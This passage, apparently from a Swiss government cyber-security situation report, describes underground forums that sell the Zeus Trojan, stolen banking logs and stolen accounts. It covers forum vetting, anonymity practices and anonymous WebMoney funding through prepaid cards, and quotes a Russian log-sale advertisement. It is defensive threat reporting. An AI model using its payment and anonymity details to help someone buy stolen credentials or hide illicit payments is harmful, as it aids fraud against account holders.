\(^{64}\) [http://www.timesonline.co.uk/tol/news/uk/crime/article6922098.ece](http://www.timesonline.co.uk/tol/news/uk/crime/article6922098.ece) (as of 17.02.2010)
machinations. The criminals mix with the normal users and pretend to be musicians or athletes. The potential clients know where to find them, however.

Carding: another type of forum
Other forums such as those for trading in credit card data (carding) are more restricted. Access to these forums requires payment and the guarantee of a member.

Main activities
The members of such forums exchange computer knowledge and trade in products or services. Nearly all the forums have a "Sell/Purchase/Services) section. The following activities are available in relation to Zeus:

- Sale of the Zeus Trojan;
- Sale of logs obtained using Zeus (an accompanying notice generally provides the geographic origin of the logs by country);
- Sale of parsers for the Zeus logs;
- Sale of services for identifying links within the logs, so that the buyer only obtains the logs that interest him, based on the URLs;
- Sale of software for verifying the validity of the links.

Example of an application for verifying the validity of the links:

Example of a parser for Zeus:
Some programmes are offered free of charge. As mentioned, this has less to do with camaraderie than with identifying new users and collecting information. Logs can also be found free of charge that are generally older and hence unusable.

**Verification process for traders**
In order to trade in services or products in a forum, the traders undergo a verification process. The site administrator verifies the authenticity of the products sold in order to create a climate of trust in the forum. Not infrequently, discussions are temporarily closed by the administrator: "Service temporarily closed for verification" or "User has been verified". This means that the administrator has personally verified the traded applications or service, such as the trade in logs or the like, using a private process. The administrator is also responsible for all members on the "white list" (list of verified users in the forum). In the case of fraud, the entire chat session between the purchaser and seller is published in the "arbitration" section, where the administrator explains his reasons for or against the involved parties. Possible consequences include a "ban", i.e. blocking of a specific nickname from the forum (the user will in such cases try to register under a different pseudonym) or inclusion in the "black list".

**Members of forums – as anonymous as possible**
Another characteristic of the forums is that members want to stay as anonymous as possible: they provide false information and use proxy or bot services to access the forums with a third party IP address.
The same persons or at least groups ("gangs") can be found in several forums. Some identify themselves with the same nickname, expose themselves in an arbitration process, or even divulge their nicknames in messages. Sometimes, offers using the same text are published in different forums by people with different nicknames. Sometimes this is the same person, but often it is a group of traders belonging to the same gang.

**Criminal groups**
Organized criminal groups roam freely in the observed forums. The masterminds behind these groups (the programmers of the malicious codes) never appear in person. Most active are the resellers, i.e. those who have the exclusive right to resell the original product (often, identification of the resellers, i.e. determining whether they have been authorized, is controversial).
Over the observation period of 36 days during which a new version of Zeus appeared on the market, 16 notices were published in one of the largest underground forums. 10 of these notices appeared within 10 days. The same notice was also published in other forums by other resellers after a few days.

**Rivalries**
Members often call each other nasty names in the discussions, which appears to be common in such discussion forums. Sometimes insults are not enough to settle disputes, however. MELANI has repeatedly observed how users agree to meet in the real world to solve the problem in the traditional manner. These are concrete signs of the vicious rivalry for market share among various groups.

**Communication**
After the initial contact in the forum, the purchase talks or discussions between the administrator and members take place in private. As a rule the communication platform ICQ is used. The users steal ICQ accounts for this purpose to enhance their anonymity. In fact, there is a very active market for trading in stolen ICQ accounts.

**Payment options**
The preferred method of payment is usually WebMoney. WebMoney is an electronic currency and online payment system that ensures complete anonymity for the account owners.
Users can open several accounts and work in various currencies. The accounts are defined as "portfolios". Available portfolios are:

- WMG – gold
- WMZ – US dollars
- WME – euros
- WMR – Russian roubles
- WMU – Ukrainian grivnas

The accounts are identified via a WebMoney ID number. Depending on the profile selected, the user can remain completely anonymous and use the services only minimally, or he can also present a copy of his passport and make use of the entire range of services provided by WebMoney. Anonymity is guaranteed by the lack of information in the user profile and by the methods of money transfer to electronic accounts. The deposit options depend on the type of portfolio. For the member countries of the CIS (Commonwealth of Independent States), WM prepaid cards can be used. These cards are available from WebMoney traders who are physically present in these states. No option exists for crediting accounts using credit cards. All available methods are anonymous. In Europe, PaySafe prepaid cards are the most convenient way to fill a portfolio. The official website lists the sales points for such cards, normally kiosks. Once again, this is an anonymous method. So it is child's play to obtain a card anonymously in Switzerland. On the back of a purchased card is a PIN code that can be entered on one's WebMoney account to credit an amount of money. Administrative fees are charged. No personal information is requested:

Like the ICQ accounts for communication, the stolen WebMoney accounts are products very much in demand in the forum. By paying with cards owned by unknowing owners, users anonymize their own illegal activities even further.

http://www.paysafecard.com/ch/ (as of 18.02.2010)
Information Assurance – Situation in Switzerland and Internationally

To prevent fraud, transactions are often carried out with protection. The protection is offered by WebMoney. In this case, the person sending the money can block the transaction using a code: only upon receipt of the product or service and after verification that the order is correct does the purchaser send the seller a code to release the payment.

Same persons using different pseudonyms

As mentioned above, the same text often appears in different forums when a new software version is circulated or new logs are made available. The texts are either published by the same person using different pseudonyms or by different persons belonging to the same organized group.

Example: “Nickname A” from Forum 1 and “Nickname B” from Forum 2

<table>
<thead>
<tr>
<th>Forum 1</th>
<th>Forum 2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Member: Nickname A</td>
<td>Member: Nickname B</td>
</tr>
<tr>
<td>Registered: 15.08.2009</td>
<td>Registered: 10.08.09</td>
</tr>
<tr>
<td>Notice published: 17.08.2009</td>
<td>Notice published: 17.08.09</td>
</tr>
<tr>
<td>For sale: ZeuS logs, origin .RU</td>
<td>For sale: ZeuS logs (no origin indicated, on one screenshot &quot;Logs GB&quot; could be seen)</td>
</tr>
</tbody>
</table>

Amount and price: 26MB logs — 35 wmz
ICQ: xxxxxx

Text published in Forum 1:

Логи RU
Продаем в одни руки
С протекцией, не работаем

Кидалы и не адекватны, просьба уйти сразу в лес ===>
Цена:
26мб логов-35 wmz

...

Text published in Forum 2:

Продаем в одни руки

С протекцией, не работаем

Кидалы и не адекватны, просьба уйти сразу в лес ===>

Всегда готов пройти проверку

Цена:
26мб логов-35 wmz

The published texts are completely identical (in Russia):

Literal translation:

"I send the logs only to a single person. 
I do not work with protection. 
Scammers and unsuitable persons – go to hell"
Information Assurance – Situation in Switzerland and Internationally

With the explanation that the logs are only sold to a single person, more interested customers are attracted. This ensures the exclusivity of the data (containing information such as usernames and passwords for access to bank accounts or PayPal accounts) and includes the guarantee that the buyer is the only person to use the information and thus almost certain to make money with it. The seller also states that he works without protection: this means that no security measures can be used for the WebMoney transfer.

List of countries with percentages

One member of a forum offers mixed logs for sale. As an explanation, the seller publishes the list of countries with the relevant percentages, so that the buyer knows what countries to work with. Remarkably, Russia and the CIS countries are also on the list: this contradicts the common assumption that criminals in this region are not interested in making money off the data they steal from their fellow citizens because they are afraid of consequences in their own country.

<table>
<thead>
<tr>
<th>GEO</th>
<th>Count</th>
<th>Perc</th>
</tr>
</thead>
<tbody>
<tr>
<td>(--)</td>
<td>Unknown</td>
<td>254 28.48%</td>
</tr>
<tr>
<td>(ID)</td>
<td>Indonesia</td>
<td>232 26.01%</td>
</tr>
<tr>
<td>(UA)</td>
<td>Ukraine</td>
<td>40 4.48%</td>
</tr>
<tr>
<td>(IN)</td>
<td>India</td>
<td>37 4.15%</td>
</tr>
<tr>
<td>(KZ)</td>
<td>Kazakhstan</td>
<td>33 3.7%</td>
</tr>
<tr>
<td>(RU)</td>
<td>Russian Federation</td>
<td>30 3.36%</td>
</tr>
<tr>
<td>(TW)</td>
<td>Taiwan</td>
<td>30 3.36%</td>
</tr>
<tr>
<td>(MY)</td>
<td>Malaysia</td>
<td>22 2.47%</td>
</tr>
<tr>
<td>(TH)</td>
<td>Thailand</td>
<td>18 2.02%</td>
</tr>
<tr>
<td>(IL)</td>
<td>Israel</td>
<td>18 2.02%</td>
</tr>
<tr>
<td>(BY)</td>
<td>Belarus</td>
<td>18 2.02%</td>
</tr>
<tr>
<td>(MD)</td>
<td>Moldova, Republic of</td>
<td>11 1.23%</td>
</tr>
<tr>
<td>(IR)</td>
<td>Iran, Islamic Republic</td>
<td>10 1.12%</td>
</tr>
<tr>
<td>(LT)</td>
<td>Lithuania</td>
<td>9 1.01%</td>
</tr>
<tr>
<td>(MX)</td>
<td>Mexico</td>
<td>9 1.01%</td>
</tr>
<tr>
<td>(SA)</td>
<td>Saudi Arabia</td>
<td>8 0.9%</td>
</tr>
<tr>
<td>(CZ)</td>
<td>Czech Republic</td>
<td>7 0.78%</td>
</tr>
<tr>
<td>(EE)</td>
<td>Estonia</td>
<td>7 0.78%</td>
</tr>
<tr>
<td>(CN)</td>
<td>China</td>
<td>7 0.78%</td>
</tr>
<tr>
<td>(GE)</td>
<td>Georgia</td>
<td>6 0.67%</td>
</tr>
<tr>
<td>(KR)</td>
<td>Korea, Republic of</td>
<td>6 0.67%</td>
</tr>
<tr>
<td>(ROI)</td>
<td>Romania</td>
<td>6 0.67%</td>
</tr>
<tr>
<td>(AR)</td>
<td>Argentina</td>
<td>6 0.67%</td>
</tr>
<tr>
<td>(AM)</td>
<td>Armenia</td>
<td>4 0.45%</td>
</tr>
<tr>
<td>(PH)</td>
<td>Philippines</td>
<td>4 0.45%</td>
</tr>
<tr>
<td>(BE)</td>
<td>Belgium</td>
<td>4 0.45%</td>
</tr>
<tr>
<td>(UZ)</td>
<td>Uzbekistan</td>
<td>4 0.45%</td>
</tr>
<tr>
<td>(SG)</td>
<td>Singapore</td>
<td>4 0.45%</td>
</tr>
<tr>
<td>(FI)</td>
<td>Finland</td>
<td>3 0.34%</td>
</tr>
<tr>
<td>(VE)</td>
<td>Venezuela</td>
<td>3 0.34%</td>
</tr>
<tr>
<td>(AZ)</td>
<td>Azerbaijan</td>
<td>3 0.34%</td>
</tr>
<tr>
<td>(VN)</td>
<td>Vietnam</td>
<td>3 0.34%</td>
</tr>
<tr>
<td>(EG)</td>
<td>Egypt</td>
<td>3 0.34%</td>
</tr>
<tr>
<td>(PK)</td>
<td>Pakistan</td>
<td>2 0.22%</td>
</tr>
<tr>
<td>(CO)</td>
<td>Colombia</td>
<td>2 0.22%</td>
</tr>
<tr>
<td>(GB)</td>
<td>United Kingdom</td>
<td>2 0.22%</td>
</tr>
<tr>
<td>(HU)</td>
<td>Hungary</td>
<td>2 0.22%</td>
</tr>
<tr>
<td>(BG)</td>
<td>Bulgaria</td>
<td>2 0.22%</td>
</tr>
<tr>
<td>(MK)</td>
<td>Macedonia</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(QA)</td>
<td>Qatar</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(PA)</td>
<td>Panama</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(GH)</td>
<td>Ghana</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(HR)</td>
<td>Croatia</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(LB)</td>
<td>Lebanon</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(MN)</td>
<td>Mongolia</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(RS)</td>
<td>Serbia</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(DE)</td>
<td>Germany</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(PL)</td>
<td>Poland</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(HK)</td>
<td>Hong Kong</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(NG)</td>
<td>Nigeria</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(IE)</td>
<td>Ireland</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(BD)</td>
<td>Bangladesh</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(DK)</td>
<td>Denmark</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(CL)</td>
<td>Chile</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(ZA)</td>
<td>South Africa</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(DZ)</td>
<td>Algeria</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(US)</td>
<td>United States</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(EU)</td>
<td>Europe</td>
<td>1 0.11%</td>
</tr>
<tr>
<td>(TJ)</td>
<td>Tajikistan</td>
<td>1 0.11%</td>
</tr>
</tbody>
</table>

Total: 892